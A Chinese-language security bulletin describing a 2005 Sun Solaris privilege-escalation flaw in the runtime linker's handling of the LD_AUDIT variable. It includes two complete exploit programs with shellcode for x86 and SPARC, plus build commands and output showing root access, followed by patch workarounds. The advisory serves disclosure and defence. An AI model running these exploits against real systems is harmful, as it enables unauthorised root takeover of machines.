服务器 频道

服务器、网络安全:每周漏洞播报

7、Sun Solaris运行时连接器LD_AUDIT权限提升漏洞

    CVE编号:无
    发布日期:2005-06-24
    漏洞类型:设计缺陷
    漏洞评估:高风险
    受影响版本:Sun Solaris 9.0_x86、Sun Solaris 9.0、Sun Solaris 8.0_x86、Sun Solaris 8.0、Sun Solaris 10_x86、
Sun Solaris 10.0
    漏洞描述:Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。
Sun Solaris运行时连接器对某些环境变量没有做正确检查,本地攻击者可能利用此漏洞提升自己的权限。
    起因是Solaris 9和10的ld.so在运行s[ug]id二进制程序时没有检查LD_AUDIT环境变量,导致以提升的权限运行任意代码。

    攻击方法:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
未打补丁的Solaris 10 (AMD64):
atari:venglin:~> cat dupa.c
static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\ \
x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2 \
f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\ \
xb0\x0b\xe8\xcb\xff\xff\xff";
int la_version() {
     void (*f)();
     f = (void*)sh;
     f();
     return 3;
}
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su
# id
uid=0(root) gid=10(staff)

SPARC上的Solaris 9:

$ cat dupa.c
char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
     void (*f)();
     f = (void*)sh;
     f();
     return 3;
}

$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)

    解决方案:
 
    临时解决方法:如果您不能立刻安装补丁或者升级,CNNS建议您采取以下措施以降低威胁:
* 运行Solaris 8或Solaris 9的用户可以使用patchrm(1M)命令将相关的连接器补丁退回到不受影响的版本.如果无法卸载补丁,可以通过以下步骤在系统中以root用户替换较早版本补丁的ld.so.1(1M)文件:
    1. 如下所示从补丁中将ld.so.1文件拷贝到系统:
   # cp ./SUNWcsu/reloc/usr/lib/ld.so.1 /usr/lib/ld.so.1-patch
    2. 使用ln(1)为已有运行时连接器创建到新文件的目录条目(链接):
   # cd /usr/lib ; ln ld.so.1 ld.so.1.original
    3. 再次使用ln(1)为之前拷贝的打过补丁的运行时连接器创建到当前运行时连接器的目录条目(链接):
   # cd /usr/lib ; ln ld.so.1-patch ld.so.1
    4. 对于以64位模式运行的SPARC系统,必须将补丁中位于./SUNWcsxu/reloc/usr/lib/sparcv9/ld.so.1的运行时连接器拷贝到"/usr/lib/sparcv9",然后使用"/usr/lib/sparcv9"路径而不是"/usr/lib"重复上文中的步骤.

    厂商补丁:目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
    http://sunsolve.sun.com/security

    参考信息:
    http://sunsolve.sun.com/security

    信息来源:感谢榕基企业提供漏洞播报


0
相关文章